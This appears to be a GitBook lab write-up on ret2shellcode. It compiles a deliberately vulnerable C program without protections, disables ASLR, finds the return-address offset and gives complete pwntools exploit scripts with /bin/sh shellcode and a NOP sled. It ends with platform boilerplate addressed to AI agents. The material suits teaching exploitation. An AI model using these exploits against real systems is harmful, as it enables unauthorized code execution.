> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/04.-stack-overflow/challenge/ret2shellcode/chall1.md).

# chall1

## ret2shellcode – Full Working Lab

### 1. Build the Vulnerable Program

```c
#include <stdio.h>
#include <unistd.h>

void vuln() {
    char buf[64];
    puts("Send your payload:");
    read(0, buf, 200);
}

int main() {
    vuln();
    return 0;
}
```

Compile:

```bash
gcc vuln.c -o vuln -fno-stack-protector -z execstack -no-pie
```

***

### 2. Disable ASLR (required for stable stack address)

```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```

Verify:

```bash
cat /proc/sys/kernel/randomize_va_space
```

Output should be:

```
0
```

***

### 3. Find Offset

```bash
python3 -c 'from pwn import *; print(cyclic(200))' > pattern
gdb ./vuln
```

Inside GDB:

```gdb
run < pattern
```

After crash:

```gdb
info registers
```

You saw:

```
rbp = 0x6161617261616171 ("qaaaraaa")
```

Find offset:

```bash
python3 -c 'from pwn import *; print(cyclic_find(b"qaaaraaa"))'
```

Result:

```
64
```

So:

```
RIP offset = 64 + 8 = 72
```

***

### 4. Find Stack Address (CRITICAL STEP)

Run again in GDB:

```gdb
run
```

Type:

```
AAAA
```

Then:

```gdb
info registers
```

You saw something like:

```
rsp = 0x7fffffffdc18
```

This is where your input lands.

***

### 5. Shellcode

Use working x64 shellcode:

```python
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
```

This executes `/bin/sh`.

***

### 6. Build Exploit (IMPORTANT FIXES APPLIED)

Key improvements:

* Large NOP sled
* Jump inside sled (not exact start)
* Correct padding

```python
from pwn import *

offset = 72

# use your exact address
buffer_addr = 0x7fffffffdc18 + 30

shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

payload = b"\x90" * 100          # big NOP sled
payload += shellcode

payload += b"A" * (offset - len(payload))
payload += p64(buffer_addr)

p = process("./vuln")
p.sendline(payload)
p.interactive()
```

***

### 7. Execution Flow

1. Input goes into `buf[64]`
2. Overflow overwrites:
   * saved RBP at 64
   * RIP at 72
3. RIP → points to stack (NOP sled)
4. CPU executes NOPs
5. Slides into shellcode
6. Shellcode runs `execve("/bin/sh")`
7. You get shell

***

### 8. If It Still Doesn’t Work

Check these 3 things only:

#### A. Confirm RIP control

```python
payload = b"A"*72 + b"BBBBBBBB"
```

Run in GDB:

```
RIP = 0x4242424242424242
```

If yes → control confirmed

***

#### B. Confirm NX disabled

```bash
checksec vuln
```

Must show:

```
NX disabled
```

***

#### C. Confirm correct address

Inside GDB:

```gdb
x/20x $rsp
```

## shellcode

```
from pwn import *

# context for clarity
context.binary = './vuln'
context.arch = 'amd64'

# start process
p = process('./vuln')

# offset to RIP
offset = 72

# find stack address dynamically using GDB once, then reuse
# (make sure ASLR is OFF)
buffer_addr = 0x7fffffffdc18 + 40   # adjust if needed

# x64 /bin/sh shellcode
shellcode = (
    b"\x48\x31\xf6"                          # xor rsi, rsi
    b"\x56"                                  # push rsi
    b"\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68"  # "/bin//sh"
    b"\x57"                                  # push rdi
    b"\x54"                                  # push rsp
    b"\x5f"                                  # pop rdi
    b"\x6a\x3b"                              # push 59
    b"\x58"                                  # pop rax
    b"\x99"                                  # cdq
    b"\x0f\x05"                              # syscall
)

# build payload
payload  = b"\x90" * 120        # big NOP sled
payload += shellcode

# pad to RIP
payload += b"A" * (offset - len(payload))

# overwrite RIP → jump into NOP sled
payload += p64(buffer_addr)

# send payload
p.sendline(payload)

# interact with shell
p.interactive()
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/04.-stack-overflow/challenge/ret2shellcode/chall1.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.